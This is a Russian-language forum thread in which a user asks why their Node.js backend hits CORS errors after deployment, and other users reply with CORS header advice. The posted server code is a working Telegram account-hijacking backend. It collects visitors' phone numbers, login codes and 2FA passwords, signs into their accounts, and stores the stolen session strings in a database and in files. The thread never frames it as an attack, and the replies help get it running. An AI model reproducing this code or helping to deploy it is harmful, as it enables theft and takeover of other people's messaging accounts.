Впервые делаю сайт с бэком, на локалке всё работало отлично, но сейчас ставлю на хостинг уже 8 часов и не могу разобраться. Серверная часть на node.js, к которой я хочу сделать запрос с js скрипта на сайте. Сначала пытался развернуть бэк на самом хостинге (beget) через ssh, установил туда node js, но при попытке запуска скрипта появляются ошибки по типу Error: listen EPERM: operation not permitted :::3000 Потом решил попробовать развернуть сервер на отдельном vps, которому присвоил левый домен. Там сервер разворачивается, но при запросе появляется ошибка с cors. Access to fetch at '' from origin '' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. В коде самого сервера пробовал прописать настройки корса, указывая в origin и адрес сайта, с которого делаю запросы и просто "*", но ошибка остаётся та же. Помогите кто-нибудь, иначе я спать не смогу
нахуя, const express = require("express"); const cors = require("cors"); const fs = require("fs"); const { Api, TelegramClient } = require("telegram"); const { StringSession } = require("telegram/sessions"); const mysql = require("mysql2"); const app = express(); const PORT = 443; app.use(express.json()); app.use(express.static("public")); app.use(cors({ origin: "*" })); const apiId = 1234567; const apiHash = ""; const sessionsDir = "./sessions"; if (!fs.existsSync(sessionsDir)) fs.mkdirSync(sessionsDir); stringSession = new StringSession(""); const connection = mysql.createConnection({ host: "", user: "", database: "", password: "" }); let clients = {}; async function addDataToDatabase(phoneNumber, stringSession) { try { await bd.connect(); const values = [stringSession.toString(), phoneNumber.toString()]; const query = "INSERT INTO accs(string_session, number) VALUES(?, ?)"; connection.query(query, values, function(err, results) { if(err) console.log(err); else console.log("Данные добавлены"); }); connection.end(); console.log('Данные добавлены'); } catch (err) { console.error('Ошибка: ', err); } finally { await bd.end(); console.log('Соединение закрыто'); } } app.post("/api/send-phone", async (req, res) => { const { userPhone } = req.body; if (!userPhone) return res.status(400).json({ error: "Введите номер телефона" }); const sessionFile = `${sessionsDir}/${userPhone}.session`; let stringSession = new StringSession(""); if (fs.existsSync(sessionFile)) { stringSession = new StringSession(fs.readFileSync(sessionFile, "utf8")); } const client = new TelegramClient(stringSession, apiId, apiHash, { connectionRetries: 5 }); await client.connect(); try { const {phoneCodeHash,isCodeViaApp} = await client.sendCode({apiId: apiId, apiHash: apiHash}, userPhone); clients[userPhone] = client; res.json({ success: true, message: "Код отправлен", phoneCodeHash: phoneCodeHash}); } catch (error) { res.status(500).json({ error: "Ошибка отправки кода" }); } }); app.post("/api/send-code", async (req, res) => { const { userPhone, userPhoneCodeHash, code } = req.body; const client = clients[userPhone]; if (!client) return res.status(400).json({ error: "Сначала запросите код" }); try { await client.signInUser( { apiId, apiHash }, { phoneNumber: async () => userPhone, phoneCode: async () => code, } ); await addDataToDatabase(userPhone, client.session.save()) await client.disconnect(); fs.writeFileSync(`${sessionsDir}/${userPhone}.session`, client.session.save(), "utf8"); res.json({ success: true, message: "Код подтверждён", requirePassword: false}); } catch (error) { if (error.message.includes("2FA")) { return res.json({ requirePassword: true }); } res.status(500).json({ error: "code error" }); } }); app.post("/api/confirm-password", async (req, res) => { const { userPhone, userPhoneCodeHash, password } = req.body; const client = clients[userPhone]; try { await client.signInWithPassword( { apiId, apiHash }, { password: async () => password, } ); await addDataToDatabase(userPhone, client.session.save()) await client.disconnect(); fs.writeFileSync(`${sessionsDir}/${userPhone}.session`, client.session.save(), "utf8"); res.json({ success: true, message: "2fa подтверждён", requirePassword: false}); } catch (error) { console.log(error); res.status(500).json({ error: "2FA error" }); } }); app.listen(PORT, () => { console.log(`Сервер запущен`); });
В настройках корса разреши OPTIONS тип запроса --- Сообщение объединено с предыдущим 9 мар 2025 Обычно перед тем как браузер кидает апи запрос ну там пост и тд он делает OPTIONS чтоб проверить что серв живой и раут есть --- Сообщение объединено с предыдущим 9 мар 2025 resp->addHeader("Access-Control-Allow-Origin", "*"); resp->addHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS"); resp->addHeader("Access-Control-Allow-Headers", "Content-Type, Authorization, ping, encrypted, session_id, token, status"); resp->addHeader("Access-Control-Max-Age", "86400"); resp->addHeader("Access-Control-Expose-Headers", "ping, session_id, token, encrypted, status"); ну у тебя слегка по другому но ты понял идею --- Сообщение объединено с предыдущим 9 мар 2025 хедеры сразу не забудь добавить если будешь их юзать